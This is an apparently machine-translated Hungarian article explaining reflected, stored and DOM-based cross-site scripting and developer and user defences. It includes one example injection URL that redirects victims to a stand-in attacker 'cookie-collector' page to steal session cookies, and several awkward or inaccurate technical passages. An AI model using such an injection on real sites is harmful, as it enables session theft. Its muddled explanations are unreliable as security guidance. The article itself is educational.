Hogyan használják a hackerek a webhelyek közötti szkripteket a weboldalak feltörésére és az adatok ellopására

A helyszíni szkriptek vagy az XSS erőteljes és gyors támadás lehet. Fejlesztőként akár hibának is tekintheti a kódot, és végül olyan hibákat keres, amelyek nincsenek ott.

A sérülékeny webhelyet használó ügyfeleként ártatlanul elárulhatja a támadóhoz való hitelesítési hozzáféréséről szóló létfontosságú információkat is.

Tehát mi az a webhelyek közötti szkriptelés? Hogyan tudják a hackerek felhasználni egy weboldal betörésére és az adatok ellopására? És hogyan lehet enyhíteni egy ilyen kockázatot?

Mi az a webhelyek közötti szkriptelés?

Helyek közötti parancsfájlok vagy XSS akkor fordulnak elő, ha egy rosszindulatú webhelyről származó parancsfájl kölcsönhatásba lép egy sérülékeny webhely kódjával.

A szerverek azonban úgy vannak bekötve, hogy megakadályozzák a hitelesítés nélküli embereket abban, hogy hozzáférjenek és szerkesszék a webhely forráskódját.

Az internet ugyanazon származási házirendet (SOP) használja a webhelyek közötti interakciók blokkolására. Az SOP azonban három fő biztonsági kiskaput ellenőriz, és megpróbálja ezeket enyhíteni. Ők:

• Az internetes protokoll házirendje, amely ellenőrzi, hogy mindkét webhely biztonságos SSL-n (HTTPS) vagy nem biztonságos URL-en (HTTP) szolgáltat-e tartalmat.
• Ugyanaz az internetes fogadó házirend, amely biztosítja, hogy mindkét webhelyet ugyanazon a domainen tárolja.
• A port házirend, amely ellenőrzi, hogy mindkét webhely hasonló kommunikációs végpontokat használ-e.

Az SOP úgy véli, hogy ha ezen irányelvek bármelyike ​​eltér bármelyik két webhelynél, akkor nem tud adatokat olvasni vagy cserélni az interneten.

De a JavaScript egy manipulatív nyelv, amely meghatározza a weboldal reakciókészségét. Noha webhelye JavaScript-je nagy valószínűséggel külön fájlban található, létrehozhat egy szkriptcímkét is, és beírhatja a dokumentumobjektum-modelljébe (DOM).

Tehát egy XSS támadó azt gondolhatja: "ha JavaScriptet írhat egy DOM-ba, akkor végső soron futtathatja azt bármelyik kódszerkesztő vagy beviteli mező, amely elfogadja a HTML címkéket. "

Ilyen sérülékenységre és véletlenre figyel az XSS-t használó támadó egy cél webhelyen. Ha megtalálnak egy ilyen kiskaput, megkerülhetik az SOP-t.

Összefüggő: A végső JavaScript-csalólap

Az XSS tehát egy támadás, amelyet az eltérítők felhasználnak egy rosszindulatú műveletet végrehajtó szkript injektálására egy sérülékeny webhelyre. A parancsfájl nem védett űrlapokat vagy beviteli mezőket célozhat meg, amelyek adatokat fogadnak el.

Hogyan működik a webhelyek közötti szkriptelés és típusai, példákkal

Az XSS egy tükrözött vagy ideiglenes parancsfájl gyors végrehajtása lehet, amelyet a támadó olyan formákban helyez el, mint a keresési mezők. Ez lehet egy nyaggatás vagy egy tartós is, amelyet az adatbázisba injektálnak. Vagy passzívan jöhet egy oldal betöltése után.

Bizonyos esetekben ez a szkript megváltoztathatja az áldozat eredeti bemenetét, hogy elterelje szándékát. A felhasználó ilyen jellegű bemeneteinek állandó változása egy mutáns XSS.

Bármilyen formában is van, az XSS támadás célja az áldozat adatainak ellopása a kitett sütik és naplók segítségével.

Nézzünk meg egy rövid magyarázatot ezeknek az XSS támadási típusoknak és azok példáinak, hogy megértsük, mik azok.

Mi az a tükrözött XSS?

A visszavert vagy ideiglenes XSS a JavaScript közvetlen befecskendezése a felhasználó beviteli mezőjébe. Olyan kérelmeket céloz meg, amelyek adatokat kapnak az adatbázisból, például a keresési eredményeket. De ez egy kliens-cél támadás.

A visszavert XSS során a támadó szkriptet illeszt be a cél áldozat keresési kifejezésébe. Ilyen JavaScript lehet visszhang, átirányítás vagy cookie-gyűjtő.

A keresési beviteli mezőbe beírt szkript végrehajtásra kerül, amint a célkliens elküldi a lekérdezést.

Például a felhasználó keresése során a támadó beilleszthet egy JavaScript-et, amely visszhangozza az űrlapot, és kéri, hogy az áldozat adja meg jelszavát vagy felhasználónevét. Amint a felhasználó ezt megteszi, előfordulhat, hogy tudatlanul elküldi hitelesítő adatait a támadónak, azt gondolva, hogy ez az eredeti webhely kérése.

Előfordul, hogy a támadó egy szkript segítségével átirányíthatja a felhasználókat a sérülékeny oldalról az oldalukra. A támadó oldalán egy gyanútlan felhasználót megtéveszthet néhány űrlap benyújtásával, ami hitelesítési adatok kiszivárgásához vezethet.

Hasonlóképpen, ha a felhasználó munkamenetének ellopása a cél, a támadó egy cookie-gyűjtő szkriptet injektál a felhasználó keresési kifejezésébe. Ezután eltérítik a felhasználó aktuális munkamenetét, ellopják a releváns információkat, és átveszik az áldozat tevékenységét.

Az alábbi XSS-támadás egy felhasználói sütit lop el egy GET-kérelemen keresztül:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

A fenti XSS példában a támadó kiskaput talál a sérülékeny webhelyen. Tehát, amikor a felhasználó egy nem elérhető erőforrást keres a sérülékeny webhelyen, átirányítja őket a támadó oldalára. A támadó ezután megérinti az aktuális felhasználó cookie-ját, és megragadja a munkamenetét.

Ez a biztonsági rés azonban gyakori, amikor egy webhely lekérdezési művelete nincs szűrve a HTML-en keresztüli parancsfájl-injekciók ellenőrzéséhez.

De még ha van is szűrt lekérdezés, a támadó ezt megkerülheti kétségbeesett intézkedésekkel, például linkek küldésével a webhely valós idejű felhasználóinak. Ezt bármelyik felhasználásával megtehetik társadalmi mérnöki forma rendelkezésükre áll.

Összefüggő: Mi a teendő az adathalászat miatt?

Amint az áldozatok rákattintanak egy ilyen linkre, a gépeltérítő most már sikeresen végrehajthatja az XSS támadást, és ellophatja a releváns adatokat az áldozattól.

A webhelyek közötti állandó vagy tárolt szkriptek

A tárolt XSS további fenyegetéseket jelent. Ebben az esetben a támadó a szkriptet egy webhely adatbázisában tárolja, és ezzel kiváltja a tárolt parancsfájl folyamatos végrehajtását. A tárolt kód futtatható az oldal betöltésekor vagy az oldal betöltése után.

Az XSS ideiglenes formájától eltérően a tárolt XSS a sérülékeny webhely teljes felhasználói bázisát célozza meg. Ezen felül az érintett webhely integritását is megcélozza.

A tartós XSS során a támadó beviteli mezőket, például megjegyzés-űrlapokat használ a parancsfájl közzétételéhez egy webhely adatbázisában.

De mi van akkor, ha a POST mezőket CSRF tokenekkel védi? Sajnos a tárolt helyek közötti parancsfájlok megkerülik a CSRF-ellenőrzéseket.

Ez azért van, mert a támadó olyan űrlapot küld be, mint a webhely minden más felhasználója. Tehát egy ilyen megjegyzés űrlap elküldi a szkriptet az adatbázisba, mint az összes többi megjegyzés.

Ilyen támadás akkor fordulhat elő, amikor a webhely beviteli mezői nem használnak megfelelő fertőtlenítőszereket a szkriptek és HTML-címkék elkerüléséhez.

Képzeljen el egy felhasználót, aki egy internetes megjegyzés űrlap segítségével posztolja az alábbi szkriptet:

Amikor a támadó beszúr egy ilyen kódot egy webhely adatbázisába, az oldalterhelés közben folyamatosan átirányítja az áldozatot a támadó webhelyére. A szkript lehet riasztás, interaktív modális doboz vagy beágyazott rosszindulatú hirdetés is.

Mivel a szkript az oldal betöltésekor átirányít, előfordulhat, hogy egy olyan áldozat, aki nem ismeri a sebezhető webhelyet, nem veszi észre az átirányítást.

Ezután folytatják a támadó weboldalával való interakciót. A gépeltérítő azonban ezután több eszközzel is információt szerezhet az áldozatoktól, ha már a weboldalukon vannak.

Mi a DOM vagy a passzív XSS?

A DOM-alapú XSS egy rosszindulatú kódot hajt végre a webhelybe ágyazva, és az ügyféloldali DOM-ot szokatlan viselkedésre kényszeríti.

Míg a tárolt és visszatükrözött XSS kiszolgálóoldali kéréseket céloz meg egy webhelyen, a DOM XSS futásidejű tevékenységeket céloz meg. Úgy működik, hogy szkriptet illeszt be egy webhely összetevőjébe, amely egy adott feladatot hajt végre. Ez az összetevő nem hajt végre szerveroldali műveletet.

Az ilyen komponensbe illesztett szkript azonban teljesen megváltoztatja szándékát. Ha ez az összetevő egy DOM-tal kapcsolatos feladatot hajt végre, például olyanokat, amelyek megváltoztatják a webhely elemeit, a parancsfájl a teljes weboldalt megváltoztatásra kényszerítheti.

Rosszabb esetekben a DOM-alapú XSS képes hibát utánozni. Ennek oka, hogy a weboldal szokatlanul reaktívvá válik.

Hogyan lehet megakadályozni a webhelyek közötti parancsfájlok támadását

Az XSS biztonsági rése a legjobb háttérprogramok nem megfelelő használatából származik. Tehát a helyszíni parancsfájlok támadásának megakadályozása általában a fejlesztő feladata. De a felhasználóknak is szerepük van.

A CSFR token használata a beviteli mezők számára nem tűnik megoldásnak az XSS támadásokra. És mivel ez a támadás megkerüli ugyanazt az eredetszabályzatot, a fejlesztőknek ügyelniük kell arra, hogy ne hagyják ki az XSS-t megakadályozó biztonsági gyakorlatokat.

A következő megelőző intézkedések hasznosak a fejlesztők számára.

Tisztítsa meg a bemeneti mezőket

A tárolt és az ideiglenes XSS megelőzése érdekében hatékony beviteli mezőket kell használni. A keresési lekérdezések törlése megakadályozza például a címkék beillesztését a felhasználók keresési kifejezéseibe.

Használja az Unicode és a HTML Auto Escape funkciókat

Hasznos a HTML és az Unicode automatikus menekülést használni, hogy megakadályozza a beviteli mezők, például a megjegyzés- és a konverziós űrlapok szkriptek és HTML-címkék elfogadását. Az automatikus menekülés hatékony megelőző intézkedés a tárolt vagy tartós XSS ellen.

Minden felhasználó számára rossz ötlet, hogy a felhasználók címkéket helyezhessenek el a megjegyzések űrlapjaiban. Biztonsági megsértés. Ha azonban ezt megengedi, akkor csak olyan címkéket fogadjon el, amelyek nem jelentenek XSS fenyegetést.

Használja a megfelelő bemeneti ellenőrzést

Még akkor is, ha teljesen letiltja a címkéket, a támadó továbbra is társadalmi eszközökkel hajthat végre XSS támadást. E-maileket küldhetnek, ahelyett, hogy bármit közvetlenül a sebezhető webhelyre helyeznének.

Tehát egy másik módszer annak megakadályozására az inputok hatékony érvényesítése. Ilyen intézkedések közé tartozik a protokollok ellenőrzése és annak biztosítása, hogy webhelye csak a biztonságos HTTPS-ből származó bemeneteket fogadja el, a HTTP-t nem.

A dedikált JavaScript könyvtárak, például a dompurify használata szintén megakadályozhatja az XSS-hez kapcsolódó biztonsági megsértéseket.

Használhat olyan eszközöket, mint XSS szkenner vagy GEEKFLARE hogy ellenőrizze az XSS sebezhetőségét a webhelyén.

Hogyan akadályozhatják meg a felhasználók az XSS-t

Milliónyi weboldal található ma az interneten. Tehát alig tudja megmondani, melyiknek van XSS biztonsági problémája.

Felhasználóként azonban a használat előtt meg kell győződnie arról, hogy ismeri az összes webszolgáltatást. Ha egy weboldal hirtelen hátborzongatóvá válik, vagy szokatlanul kezd viselkedni, akkor ez piros zászló lehet.

Bármi legyen is az eset, vigyázzon, ne adja ki a személyes adatokat egy nem megbízható harmadik féllel. Ezután keressen olyan kéretlen e-maileket vagy gyanús közösségi média bejegyzéseket, amelyek bármelyiket eredményezhetik adathalász támadások formája.

Egyetlen megelőző módszer sem felel meg mindenkinek

Láttuk, hogy néz ki egy XSS támadás, és hogyan lehet megakadályozni. Könnyű elfelejteni az XSS biztonsági ellenőrzését a fejlesztés során. Tehát a fejlesztőknek lépéseket kell tenniük annak biztosítása érdekében, hogy a védelem ne maradjon el. A korábban felsorolt ​​megelőző intézkedések kombinációja azonban jobban működik.

Mik azok a CSRF-támadások, és hogyan lehet őket megelőzni?

A CSRF-támadásokban a készpénz és a hitelesítő adatok elvesztésének megakadályozása érdekében mind a fejlesztőknek, mind a felhasználóknak szerepük van.

A szerzőről